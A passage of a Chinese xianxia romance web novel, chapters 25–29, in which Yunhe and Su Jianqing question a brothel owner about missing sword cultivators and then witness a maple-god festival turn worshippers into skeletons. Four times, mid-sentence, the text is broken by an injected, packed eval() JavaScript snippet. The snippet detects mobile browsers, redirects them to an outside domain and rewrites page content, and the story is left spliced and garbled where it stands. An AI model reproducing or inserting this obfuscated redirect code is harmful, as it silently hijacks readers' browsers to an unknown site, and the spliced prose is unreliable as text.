有个姑娘见了二人,娇笑着甩着帕子走近,迎面扑来浓重香气,蕴禾没忍住又打了个喷嚏。 “哟,这位小妹妹生得这么好看,怎么还跟着自家夫君逛花楼啊?” 姑娘媚眼盈波,娇声打趣。 “夫君”二字令苏见清瓷白脸上飘来两片红霞,结巴否认,“我、我们不是……” 话未说完,蕴禾陡然后退,“我要见你们楼主。” 骤然靠近的属于姑娘的身体让苏见清浑身僵硬,喉咙滚动两下,如何也发不了声,默默往后挪动脚步。 姑娘好奇,“小妹妹见我们楼主作甚?” 她甩帕子,好笑道:“我们楼主可不是什么人都能见的。” 蕴禾鼻间轻哼,身上气势倏地攀升,妖力凝聚成的棍棒落在地面,如竹子般节节拔高。 妖气暴涨引得楼内灯烛桌椅齐齐震颤,棍棒似乎下一瞬便能将整座无忧阁捅穿。 男人蜂拥跑出无忧阁,姑娘们尖叫着奔跑,慌乱合围在一处,惊惶无措的情绪蔓延时,冷傲女声清晰无比地问:“现在,有资格了吗?” 25. 第 25 章 “棍下留楼!” 一道身影猛地从楼上飞扑而下,直奔蕴禾而来,“有话好好说,这位仙子,呸!这位妖君,咱们有话好好说。” 那人脸上挂着谄媚的笑,在心里直骂自己眼瞎。 这哪是什么仙子啊,分明就是妖族的混世魔王,二话不说就要毁了他的楼。 蕴禾乜他,“你就是无忧阁和碎金楼的主人?” “是是是。” 那人穿着黄色长袍,腰系镶满整整三十六颗宝石的大带,头戴镶金红宝石头冠,十根手指皆套着金戒指,一身的富贵奢华,十足耀眼。 他谄笑着,“在下碎金,正是此间主人。” 蕴禾被他闪得眼疼,抬袖散去妖力。 碎金奉承,“妖君大人有大量……” “行了,我们有事问你。”蕴禾打断他的话,“你只管老老实实回答,若有虚言,我绝不轻饶。” 碎金笑容有些僵硬,“妖君说笑了,我一定知无不言言无不尽。” 他半弯着腰做出请的姿势,“二位快楼上请。” 蕴禾颔首,示意苏见清跟上,率先迈步。 青影闪过,无数道亮光如雨落下,准确无误地落到大堂内众位姑娘面前。 与蕴禾搭话那名姑娘怔怔望着灵光闪烁的灵石,耳畔落下一道懒散嗓音,“拿去压惊。” 她仓促抬头,眼里只看见消失在楼梯处的青色身影。 鸦雀无声中,有位姑娘小声道:“那好像是昨夜点了加春姐姐的仙子。” 另一名姑娘抬头,瞧着三楼上察觉不对,推门而出的加春,同样小声回复,“莫不是楼主做错了事,惹怒了仙子?” “我看像。仙子生得那么好看,一定是楼主的错,惹得仙子生了那么大的气。” “没错,肯定是楼主的错。” …… 四楼。 碎金将蕴禾与苏见清迎进房门。 他这屋子亦是金碧辉煌,光辉灿烂,奇珍异宝随处可见,有赤狐狐毛做成的毯子,一整套冰玉髓茶具,玄天晶镶嵌的玉冠,镶满凤凰石的床榻,蕴禾甚至在上边看见了鲛人一族的鲛珠。 她勾起唇,语气不明道:“你经营这无忧阁与碎金楼赚了不少嘛,竟然连鲛珠都能随意镶在床头。” 妖修的妖丹乃是他们的修为本源,妖修死后,妖丹往往会成为被哄抢的宝物。而鲛人一族向来偏安一隅,又生性高傲,族人死后,会将鲛丹收回禁地,断不会流落在外。 这么一想,蕴禾眉头压了压。 顶着她危险的目光,碎金肩膀一抖,欲哭无泪。 他这屋里这么多妖族之物,这位姑奶奶不会以为都是他做的吧?急忙解释,“妖君明鉴,我并未残害妖族,这些东西都是与人换来的。” “人?”蕴禾挑眉,“什么人?” “不是人。” 碎金打了下嘴,改口道:“也是一名女妖君,用这些东西与我换了不少灵丹灵石。” “哦。” 既是你情我愿的交易,蕴禾便不感兴趣了,对苏见清使了个眼色,“想知道什么就问。” 碎金目光移过去,只见此人生得面如朗月,气似修竹,目含繁星,一身的纯净灵蕴,沉静又通透。 他忍不住暗赞一声,好个钟灵毓秀的人物。 先前还以为是这姑奶奶的随从,没想到竟是个出色的年轻修士。 碎金问:“这位仙君想问什么?” 苏见清礼貌颔首,“敢问楼主,可曾见过三名剑修?” 他将俞舟几人的特征告知,又言明魔修的存在,“楼主可否告知那魔修是单独一人前来,还是与人同往?” “魔魔魔魔修?!” 碎金脸色大变,结结巴巴道:“仙君,我可不知他们是魔修啊!他们来势汹汹,强行闯入楼内,毁了我不少宝贝。” 说到这儿时,碎金一脸肉痛,“为了满楼姑娘的安危,我只能好吃的好喝的伺候着,期盼他们早些离去,他们做了什么,我一概不知啊!” “他们?” 苏见清自动过滤碎金诉苦的话,抓住重点,“他们一共几人?” “也是三人。” “住在何处?” “就在隔壁。” 苏见清当即出门,一把推开隔壁的门。视线一扫,却是早已人去楼空。 碎金大惊,“他们什么时候走的?” 苏见清又问:“他们是何样貌?” 碎金:“这三人乃是兄弟,样貌堂堂,生得很是相像,排行第二那人威猛高大,另外两人身量比他矮了半个头。” 既是与瞿云相似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817185|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,苏见清心里便有数了,道了声多谢。 “至于仙君说的那三名剑修,我便不知了。或许他们并未进碎金楼便……” 碎金及时把剩下的话咽了回去。 苏见清缄默须臾,“多谢楼主告知,今日打扰了,告辞。” 碎金喜笑颜开,下一瞬立马收回笑脸,在蕴禾与苏见清离开时还不忘追上去表忠心,“妖君,仙君,我真的不知道那三人是魔修,我一片真心都是向着玄清域,向着枫泠城的啊!” 蕴禾懒得搭理,苏见清心情不佳,也未回应。 碎金一露面,姑娘们立即将他围住,“楼主,你做了什么惹怒了仙子?” “楼主,做错了事要认罚的,你给仙子道歉了吗?” “楼主……” “楼主……” 碎金听得头都大了,捂着脑袋痛苦道:“姑奶奶们,别说了,让我静静。” 蕴禾收回视线,暗道一声有意思。 见苏见清气息萎靡,她道:“你信了他的话?” 苏见清摇头,“半信半疑。” “碎金楼主不见得不知晓魔修的身份,将他们留下,或许有他的用意。但我三位师兄的事应是与他无关。” 顿了顿,苏见清轻声道:“他很强。” 哪怕一见面便是一张谄媚笑脸,在他与阿蕴姑娘面前点头哈腰,可一个人真正的性子是藏不住的。 他与阿蕴姑娘上楼后,碎金并未给二人倒过一杯茶,说明他从未有过这个意识,既无这个意识,前面的行为便值得琢磨。 且苏见清探过碎金的修为,明面上不过是个金丹,可一靠近,周身灵气却深沉如海。 此人没那么简单。 蕴禾惊讶扬眉,苏见清看着不声不响的,心里竟藏了这么多心思。 看来也没那么呆嘛。 二人停在百香楼前,见蕴禾欲提步往里,苏见清惊讶,“阿蕴姑娘住在此处?” 蕴禾回身看他一眼,“怎么,不行?” 苏见清摇头,嘴角勾一抹浅笑,“我也住在此间客栈。只是觉得好巧。” 巧什么巧,要不是苏见清住这儿,她才不会来呢。 蕴禾翻了个白眼。 还未进去,身后蓦地响起清脆欢快的女声,“咦,苏公子,原来你没走啊?” 26. 第 26 章 蕴禾转身。 一男一女站在不远处,女子娇俏灵动,眉眼残留三分稚气。男子精致华美,漂亮得仿佛是从画里走出的人物。 蕴禾目光落在那姑娘身上,眉尾惊讶上挑,有些意外。 上次并未仔细端详,当下一看,这小不点不简单嘛。 视线蓦地受阻,那男子挡在姑娘面前,隔绝了蕴禾打量的目光。 她双手抱臂,右手指尖饶有兴致地在胳膊上点了点。 哟,还挺敏锐的嘛。 眼前忽然多了道背影,曲江篱对巫弃噘了噘嘴,绕开他和苏见清说话,神情雀跃得仿佛躺在阳光下打滚的小狸猫,“苏公子,你还在啊,我以为你已经走了呢。” 苏见清:“事未办完,自不会走。” 曲江篱皱着脸,“你还没找到那三位仙君?” 苏见清摇头。 眉头皱起又松开,曲江篱安慰道:“或许他们是有事耽搁了,没准等明日枫神祭典就回来了。” 苏见清没说话。 俞舟几人的生死他心里已经有了数,只是这种话没必要和刚认识的姑娘说。 不过…… 还未出声,身后已落下一道嗓音,“什么枫神祭典?” 蕴禾姿态随意地倚在门框上,目光移向曲江篱。 曲江篱眼睛一亮,“哇”一声,“这位姐姐好漂亮。苏公子,你们认识吗?” 苏见清:“这位是阿蕴姑娘。” “阿蕴姐姐。” 曲江篱不见外地唤了一声,笑眯眯解释,“枫泠城信奉枫神,每年都会举办一场枫神祭典向百姓赐福,听说可热闹了。” 蕴禾疑惑,“枫神?” “是啊。”曲江篱道:“就是城中那棵巨大的枫树。听说它已存世将近万年,比枫泠城的年龄还要大。正是因它庇护枫泠城百姓,这座城池才能饱经风霜后屹立至今。” 数万年前天门崩塌,修真界无论是人、妖,还是魔皆无人飞升。成神已然成了传说。眼下这个劳什子枫神,蕴禾自是半分不信。 “什么神?这城延续至今,繁荣昌盛,不是城主与城中百姓的功劳?” “是啊。”曲江篱笑着点头,视线在周围扫了一圈,竖起手指放低嗓音,表情有种鬼祟的可爱,“不过这是他们的信仰,总该尊重几分。” “江篱,不是说饿了?咱们进去吧。” 巫弃攥住曲江篱的手腕,带她入内。 “哎呀,我还没说自己的名字呢。”曲江篱拍拍额头,笑音欢快,“阿蕴姐姐,我叫曲江篱。这是巫弃,我最好的朋友……诶诶,阿弃,你走这么快做什么?” 目送二人进了百香楼,蕴禾哼了一声。 最好的朋友? 这小东西喜好挺别致嘛。 余光瞥见若有所思的苏见清,蕴禾晃到他跟前,掌心击出清脆声响,“想到什么了?” 苏见清:“那棵树我见过,不像是生了灵。” 蕴禾问:“这事和你有关吗?” 苏见清摇头。 “既是和你无关,你想那么多作甚?走了。” 蕴禾转身,秀发擦过苏见清的下颌,霎时间清香扑鼻。 苏见清抬睫,只见姑娘一头墨发随着走动在背后摇曳,似柳条轻拂碧波,荡开层层涟漪。 他快步跟上。 巫弃和曲江篱不在大堂,掌柜的正在柜台后忙碌,偶一抬头瞧见蕴禾,立即满脸带笑地迎上来,“仙子和仙君回来了,可要用些餐食?” 目光不着痕迹地在二人身上绕了圈,掌柜的暗自腹诽。 仙子果然是追着仙君来的。别说,这两人站在一处还真挺登对。 掌柜的悄悄又看了眼苏见清,心中生出无限羡慕。 这么好看又有钱的仙子,真是便宜这位仙君了。 蕴禾自是不知掌柜的在想什么,指了指苏见清道:“他要用厨房,饭菜做好后让他送到我房里。” 掌柜的偷偷摸摸又觑了眼苏见清,莫非这位仙君正是用高超的厨艺俘获了仙子的芳心?要不改日他也去学学厨艺,说不准也能有强大又有钱的仙子看上他。 内心无数个念头翻涌,掌柜的脸上却并未表露出来,笑着道:“仙君这边请。” 苏见清:“有劳。” 进了百香楼厨房,他问清蕴禾这几日的膳食,心里有了数,撩起袖子开始备菜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832899|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌柜的并未离开,站在一旁瞧着苏见清熟稔的动作暗暗称奇,拉长脖子悄悄将他的动作记下。 苏见清身量高,他有些步骤看不清,忍不住向前走几步。 前面的人正好转身,掌柜的险些一头撞上去,表情尴尬,却不得不装作若无其事,笑问:“仙君要拿什么?” 苏见清:“水。” 他对掌柜的颔首,舀了瓢水倒入锅中。 掌柜的见他并未出声驱赶,厚着脸皮继续留下。 一通忙活后,饭食总算是好了,掌柜的殷勤帮忙,“我帮仙君端去给仙子吧。” “不必。” 苏见清避开他的动作,礼貌道:“她住在何间,我自去即可。” 刚刚偷了师,掌柜的也不好和他抢着给仙子献殷勤,听了这话却是惊讶,“仙君竟不知吗?仙子就住在你隔壁。” “我隔壁?” 苏见清微愣,想起百香楼前那一声“好巧”,他嘴角抿出一点笑。 的确是巧。 “多谢。” 道完谢,苏见清离开厨房,径直上楼。来到隔壁,还未敲门,里头便已传出姑娘悠扬中夹带慵懒的声线,“进来。” 房门大开,苏见清入内,谦恭地不去乱看,只把饭菜摆在桌上,“阿蕴姑娘,可以用膳了。” 床榻上,一身绿衣的蕴禾像片摊开的草叶,不紧不慢翻身而起。行走时裙裾间赤裸的双足若隐若现。 她随手将满头青丝用簪子挽好,凑过去看了眼桌上菜肴,深深吸气,“好香啊。” 姑娘离得近,她靠近时身上那股清新的草木之气再度缠绕住苏见清,令他脚步后退,凤眼漫上赧然。 罪魁祸首却一无所知,心安理得落座享用佳肴。 吃下去的第一口便让蕴禾眼睛发亮。 腮帮子微鼓,像只忙碌进食的柔软小兽。 苏见清不自觉清清嗓子,“阿蕴姑娘慢用,我先回房了。” 蕴禾顾不上搭理他,挥手示意他自便。 苏见清关好房门,回了隔壁。 门关上的刹那,他腰身一弯,蓦地捂住胸口。 斜对面的镜子中,映出剑修苍白脸色。 27. 第 27 章 天边泛起鱼肚白时,苏见清推开房门。 正欲下楼,身后房门“嘎吱”一响,女声困顿中夹带被吵醒的不耐,“你去哪儿?” 苏见清惊讶回身,“阿蕴姑娘?” 蕴禾歪歪斜斜倚靠在门框边,捂着嘴唇打哈欠,顺手抹去眼角泪珠,“大清早的不睡觉,你干嘛去?” “是我吵醒你了?” 苏见清面带愧疚,“抱歉,今日城中热闹,我想趁此时清闲再去找找魔修的下落。” 魔修魔修,这人一天天的脑子里就只有魔修,我看你这执拗的模样倒像是个魔修。 蕴禾白了苏见清一眼,忍着脾气说:“走。” 苏见清不解,“走哪儿?” 蕴禾狠狠瞪他一眼,“先去吃饭,再去找魔修!” 她重重甩袖,袖子挥出的风朝苏见清脸上扑去。 今日蕴禾穿的是一身雨过天青色的广袖长裙,墨发间插着一根翡翠竹节簪子,她走过时,苏见清仿佛瞧见了雨后天空被渲染成青色的绝美景象,呼吸间尽是天地草木清香。 他愣了会儿神,掉转脚步大步跟上蕴禾。 …… 苏见清的预估出了错。 时辰尚早,枫泠城内却已是人满为患,人人皆着新衣,面含喜意,与亲朋好友挽手笑谈。他们胸前皆佩戴花草,其上沾着水珠,色泽鲜艳,可见是精心养护而成。 孩童们举着糖葫芦与风车从人群中跑过,欢笑声久久不散。 整座城池一夜之间大变模样,张灯结彩,红绸翻滚,满城百姓皆沉浸在喜悦中。 身后一股重力袭来,蕴禾身子一歪,身旁的苏见清急忙抓住她的手腕。等蕴禾站稳后,他悄悄松了手,脚步往旁边挪了挪。 “姐姐对不起!” 一个孩童从二人身旁跑过,回头向蕴禾道歉时脸上的笑意还未消散。 蕴禾跺脚,满腔怒意无法发泄,只好气急败坏地质问苏见清,“这就是你说的清闲?” 葱白手指指着人山人海,她不满道:“这么多人,连家空闲的店铺都找不着,我什么时候才能吃上饭?” 苏见清轻声安抚,“阿蕴姑娘在此等候片刻,我去去就来。” 他钻入人群,仿佛入了水的鱼儿,转瞬便不见了人影。 蕴禾脸色不好地等在原地,双手一环,一脸的生人勿进。周遭百姓敏锐地察觉到她不同寻常,不约而同绕过蕴禾,使她周边空出一片空地。 这些人的识趣让蕴禾心情略有好转,但随着苏见清迟迟不归,那份好心情眨眼间烟消云散。 就在蕴禾耐心告罄时,苏见清的身影终于出现。 他将手中油纸递给蕴禾,微微喘气,“趁热吃。” “这是什么?” 蕴禾打开一开。里头是几张饼,饼内夹着肉馅,散发着浓厚的油香气。 她扫了圈周围,不大高兴地说:“本……姑娘没有在大庭广众之下吃饭的习惯。” 苏见清脚步移动,高挑的身形将蕴禾完完全全挡住,眸色清澈,认真道:“这样他们就看不见了。” 蕴禾白他一眼。 手中油饼不断勾起她体内馋虫,蕴禾不再搭理他,鼻尖嗅几下,张唇咬一口。 这一口令她神色舒展,专心致志享用美食。 期间苏见清一直站在她身前目不斜视,等到蕴禾吃完从储物手链里引出清水净手,他这才移开脚步。 二人步入人群,蕴禾问:“人这么多,你要去哪儿找?” 苏见清轻拧眉,“阿蕴姑娘,你说,魔修的目标会不会是枫神?” 蕴禾无语,“不过一棵树而已,魔修要它作甚?不过……” 她偏头思索,“倘若那棵树当真存活了将近万年,很大可能生了灵。其本源之心乃是大补之物,的确有可能引得魔修觊觎。” 二人对视,苏见清嘴角抿出一点笑意,“那我们就走一趟吧。” 谁和你我们? 蕴禾正欲开口,一只浑身雪白的小猫蓦地跑到苏见清脚下,趴在他脚背上打了个滚。 苏见清弯腰,小心翼翼抱起小猫,手指梳理它背上毛发,又挠了挠它下巴,舒服得小猫眯起眼,喉间发出呼声。 “小白,你怎么跑这儿来了?” 年轻男子闯出人群,朝二人走来,伸手去抱苏见清怀里的小猫,“今日城内这么多人,不可以乱跑的,你若是跑丢了,我上哪儿找你去?” 小猫窝在主人怀里,撒娇般“喵”了一声。 主人见它这番情态,也不忍再说责怪的话,对苏见清道谢,“多谢这位仙君。” 苏见清掩去眸中不舍,颔首道:“不必。下次可要看好它。” “一定,一定。” 主人连声道谢,抱着小猫匆匆而返。 蕴禾冷不丁出声,“你很喜欢这种……” 她本想说柔弱没用的小东西,突然想到苏见清也很喜欢自己的原形,斟酌着用词,“毛茸茸软乎乎的东西?” 苏见清收回视线,嘴角噙着一抹笑,“阿蕴姑娘不觉得它们很可爱?” 目光变得柔软,他道:“我养了一只食铁兽,脾气虽然不太好,却很善良,依赖我、粘我。方才那只小猫和它有些像。” 蕴禾险些以为自己听错了。 依赖他,粘他? 这是她? 苏见清这人眼睛是不是有问题?她什么时候依赖他又粘着他了? 心里漫上一堆想骂人的话,蕴禾硬是咽下去了,却忍不住阴阳怪气道:“食铁兽的占有欲最是强烈,嗅觉又极为灵敏,若是被她发现你抱了别的小猫,你看她还会不会理你。” 苏见清意外,“当真?” 蕴禾冷笑,“你尽管试试。” 苏见清若有所思。 云团脾气大,倒真有可能如此。看来往后不能再接触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847457|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别的小猫小兔了。 眼见蕴禾走远了,苏见清急忙跟上。 二人顺着人群来到“枫神”前。 蕴禾眯眼打量着眼前的巨树。 树干粗壮,华盖如伞,丛丛枫叶拥挤在一处,其间灵韵环绕,灵气充裕,宛如绚烂彩霞,倒真像是活了万年的灵树。 只是,不知为何,蕴禾总觉得有些不对。 她正欲放出神识仔细查探,身后骤然响起一道欢快女声,“阿蕴姐姐,苏公子,你们也在啊!” 蕴禾回头,只见曲江篱拉着巫弃往二人跑来,眼角眉梢皆带喜意。 “巫道友,曲道友。” “苏公子不必客气,你叫我名字就好啦。”曲江篱弯着眼笑。 瞥了她身后的巫弃一眼,蕴禾挑眉,颇有兴致地看着苏见清礼貌唤了声“曲姑娘。” 曲江篱鼓了鼓腮帮子,绕到蕴禾面前,“阿蕴姐姐,你们也来凑热闹吗?” “是啊。” 曲江篱笑道:“相见即是有缘,还没到祭典召开的时辰,咱们不如一起吧。” 蕴禾无所谓,随意点头,“好啊。” 一行四人走到旁边枫树下,巫弃手一挥,面前顿时摆上一方圆桌与四张凳子,桌上摆满了瓜果佳酿。 曲江篱热情招待,“阿蕴姐姐、苏公子,你们别客气,这都是我们从家里带来的。吃完了阿弃会再补上,阿弃,阿弃?” 她疑惑,“你怎么不说话啊。” 巫弃面无表情,“二位请。” 苏见清察觉到了什么,略略颔首,主动坐到蕴禾与巫弃中间。 蕴禾看着桌上瓜果,意味不明地哼笑一声,随手拿起一颗水蓝色宛如桃子一般的果子咬了口。 曲江篱眼巴巴地看着她,“阿蕴姐姐,好吃吗?” “还不错。” 曲江篱一双鹿眼亮晶晶的,“好吃姐姐就多吃些,我这儿还有。” 她叽叽喳喳地围着蕴禾说话,蕴禾不时回应一声,另一旁的两名男子相邻沉默,宛如两座精致玉雕。 许久,巫弃忍不住了,传话与曲江篱,“江篱,他们来历不明,当心对我们不利,你少说些,莫要暴露身份。” 曲江篱眨眨眼,“可是我喜欢阿蕴姐姐,我想和她说话。还有苏公子,他长得这么好看,怎么可能是坏人?” 巫弃:“……世上长得好的坏人比比皆是。” 曲江篱回得天真无邪,“阿弃也长得好看,可你不是坏人。” 巫弃:“……” 他正欲劝说,悠远沉闷的钟声骤响,霎时间传遍整座枫泠城。 蕴禾正偷听得起劲,听到这声音转头望去。 “城主,是城主来了。” “城主,城主!” 百姓们的欢呼声宛如潮涌,一浪高过一浪。 蕴禾望着从空中降落的那道华丽身影,与苏见清同时“咦”了一声。 28. 第 28 章 枫叶簌簌而落,漫天皆是翩飞的红色灵韵。树上风铃齐声作响,似是为半空中的人编织的一首华美乐章。 他穿着一身红衣,衣上绣巨大枫树,丝线在阳光下呈七彩光芒。 五官俊逸,气质缥缈,眉心一道红色长痕,手持金色权杖,杖上镶嵌红色宝石,华贵又神秘。 那人缓缓睁眼,眸底有道红光闪过,光华流转间,他身上骤然多了丝神圣气息。 “城主,城主!” “是城主大人!” “拜见城主。” 百姓们的欢呼声震耳欲聋,脸上神情兴奋又崇拜。 曲江篱望着这一幕,悄悄问蕴禾,“阿蕴姐姐,你们认识这个城主?” 蕴禾不做声,目光看向苏见清,“你‘咦’什么?” 苏见清不确定道:“这人的脸极为陌生,身上的气息却有些熟悉,我总感觉在哪儿见过。” 蕴禾暗哼。 可不觉得熟悉? 没想到啊。 她望着枫树下的人,眼里夹着兴味。 枫泠城的城主,竟然是他。 “诶,你之前找遍整座城的时候,就没见过他?” 蕴禾胳膊肘拐着苏见清。 苏见清怔愣一瞬,口中回复,“并无。” “我我我,我打听过!” 见几人的目光落在自己身上,曲江篱骄傲挺胸,“这枫泠城中并无城主府,据说是城主不喜俗务,唯有城中发生大事才会露面。” 苏见清:“城主不在,这城内竟如此安生?” 回话的是巫弃,他注视着远处之人,“此人来历成谜,但传闻他乃是枫神选出的城主,加之多次救枫泠城于危难之间,在城中威望极高。他不露面,自有手下护卫队维护城内治安,且此地民风淳朴,并无大恶人。” 苏见清也望过去。 巫弃收了桌椅,四人站在人群外,遥望“枫神”下的城主。 他手往下压,百姓们逐渐噤声。 城主启唇,温柔舒缓的嗓音传遍枫泠城的每一个角落。 “又到一年祭典。这一年里,枫泠城风调雨顺,百姓安居乐业,有的姑娘成了新嫁娘,有的男子成了父亲,有的家庭添丁进口,也有的送走了亲朋。你们都有在过好自己的日子,每年见此,我心甚慰。” “都是城主和枫神的功劳!” “城主!城主!枫神!枫神!” 城主再度压手,嘴角牵起笑,温声道:“枫神的保佑还在其次。如今你们的日子,都是自己精心经营的结果。好了,开始祭典吧。” 曲江篱听完城主的话,嘟囔道:“这样看,这位城主果然是个好人嘛。” 她偏头去拉巫弃的袖子,不满道:“阿弃,我之前夸他好,你还反驳我。” 巫弃拧眉,耐心道:“江篱,你还太小,不懂知人知面不知心。有时肉眼所见,并非真心。” 苏见清站在蕴禾身旁,疑惑问:“他们要拿什么祭祀?” 按理来说,祭祀应当用三牲,可当下并不见活物。 蕴禾抬起下颌,“喏,你看。” 只见所有百姓取下胸前花草,双手举过头顶,恭敬弯下腰。 “枫神”下的城主朗声道:“枫神在上,今以花草灵木为献,惟愿佑我枫泠百姓上无大灾,下无小祸。年迈者相携白首,无病无痛;青年者万事顺遂,姻缘美满;幼龄者平顺安康,自在成长。” 他低下头,唇瓣一张一合,吐露一段古老神秘,宁静悠远的调子。 曲江篱“哇”一声,“枫神祭典,祭的居然是花草!” 她语气里的惊奇和浓郁的“涨见识了”吸引了站在人群最后的年轻男子,回头打量一番,友善道:“你们是外乡人吧?” 曲江篱:“是啊。” 年轻男子语气里满是对城主和枫神的推崇,“那你们大概不知,最初我们的祭典用的也是活物,但城主传达枫神意志,不愿残害生灵,从此往后我们祭祀便改用花草。” 曲江篱:“哇!” 听出她的赞叹,年轻男子得意又自豪,正欲开口,手中蓦地一烫,他连忙回头,恭恭敬敬献出手中花卉。 曲江篱拉着巫弃的袖子,兴奋道:“阿弃,你快看!” 巫弃声音温柔,“嗯,看到了。” 只见在城主舒缓的调子中,百姓们手中花草一一散发灵光,自行飞到空中。无数灵花灵草汇聚成河, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15858108|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涌向屹立在苍穹下的巨大枫树。 红枫似火,热情地包裹住奔向它的溪流。 二者相触的一刹那,花草化为万千灵光,自空中簌簌而落,融入红枫之中。 “好美啊。” 曲江篱拉着巫弃称赞。 苏见清偏头,正正撞入一双盛满灵蕴的璀璨杏眼。 眼睛的主人微微侧脸,眸中灵光闪烁,仿佛天上星子坠入凡尘,落于姑娘眼中。 “你看我做什么?” 苏见清磕巴一瞬,“阿蕴姑娘,的确很美。” 这话有歧义,他连忙找补,“我、我是说这场祭祀。” 蕴禾轻哼一声,“也就一般吧。” 她东隅城的庆典更美好吧! 枫树下,城主一拄手中权杖,其上宝石瞬间折射出无数道瑰丽红光。 “请枫神赐福。” “请枫神赐福!” 百姓们手心朝上,恭敬齐声。 红光穿梭在树冠中,带走数片枫叶。它将枫叶送到百姓们掌心,收获无数张真心诚意的笑脸。 他们站在自己信仰的枫神面前,献上精心养护的花草,收获代表祝福的枫叶。 无论枫神是真是假,但见到这一幕,哪怕是内心有所猜忌之人也会动容。 曲江篱挽着巫弃的手,小声感慨,“真好啊。” 苏见清的目光在一张张诚挚的脸上巡睃,“阿蕴姑娘,你说……小心!” 语调陡然变得焦急,他飞身上前欲要拉开一名年轻男子。 可惜已经晚了。 年轻男子手中枫叶陡然射出无数条红色血丝,从他掌心蔓延至全身。 血丝所过之处,血肉寸寸消散,露出森森白骨。 那年轻男子正转过身来,甚至还来不及说一句话,血丝便以肉眼不可捕捉的速度攀上他的脸颊,将他全身血肉吞噬殆尽。 不过眨眼之间,他已成为一具枯骨,空洞的眼窝正对着苏见清的方向。 苏见清整个人僵在原地。 在年轻男子消散之前,他看清了他的脸,赫然是方才语气骄傲地与曲江篱搭话那位。 可一刻钟不到,那条鲜活的生命却已成了白骨。 29. 第 29 章 “啊——这是什么,滚开,滚啊!” “夫君,夫君你怎么了?夫君你别吓我!” “娘!爹!你们怎么了?城主、城主!救命啊城主!” 眨眼之间场面便乱了。 尖叫、惊惧声乱成一团,恐惧在瞬息之间蔓延。 好些人在苏见清眼下化为白骨,空洞的骷髅立在红枫下,辨认不出生前脸上是何表情。 曲江篱尖叫一声,被巫弃一把拉进怀里。 她身子颤抖,带着哭腔道:“阿弃,他们、他们这是怎么了?” 巫弃挡住她的脸,不让她去看眼前的混乱残酷,安抚道:“江篱别看。” 苏见清脸上神情难看到了极点,霍然将视线投向枫树下的城主,“是他做的?” 他正欲上前,却被蕴禾拉住手腕,“你再仔细看看。” 她这样一说,苏见清勉强按捺住心急,眼睛一眨不眨地盯着城主。 此时的城主脸上一片空白,“这、这是怎么回事?” 百姓们的哭嚎哀鸣声听得他心焦,握紧手中权杖,低喝一声,“收!” 红宝石光芒大盛,袭向百姓们手中枫叶,欲将之收回。 可那些枫叶仿佛受了刺激般放出更多血线,顷刻间又是十几人化为白骨。 “阿蕴姑娘,不能再等了。” 苏见清焦急不已,松开蕴禾的手,唤出长虹,御剑飞向城主。 曲江篱松开巫弃,拉住他的手腕道:“阿弃,你也去帮忙。” 巫弃拧眉,“你一个人,我不放心。” “我不会有事的。”曲江篱道:“我也有能力自保,再说了,阿蕴姐姐不是还在吗?” 若不提蕴禾也就罢了,一说起她巫弃便拧了眉。 见状,曲江篱索性与巫弃传音,“阿弃,在阿蕴姐姐身边,我很安心。” 巫弃眉头耸动,点头应了,离开之前对蕴禾道:“劳烦姑娘替我照看江篱。” 蕴禾睨他,可有可无地点了下头。 等巫弃飞身追着苏见清而去,曲江篱提着裙子小跑到蕴禾身边紧紧挨着她,分明不忍直视,却大着胆子皱着眉头瞧着眼前残忍的一幕。 “阿蕴姐姐,他们好可怜啊。” 蕴禾没什么反应,甚至连眼风都没动一下。 曲江篱咬了咬唇,双手结印,此刻的她眉眼沉静,似水宁静深远,包容万物。波纹一般的水蓝色结界自她身上升起,罩住她与蕴禾。 曲江篱大喊:“你们快进来,这里安全!” 可惜她的话无人听从,百姓们蜂拥朝城主的方向挤去,恐惧的尖叫呼救声凄楚悲凉。 “城主,城主救我!” “救命啊城主,城主救救我!” 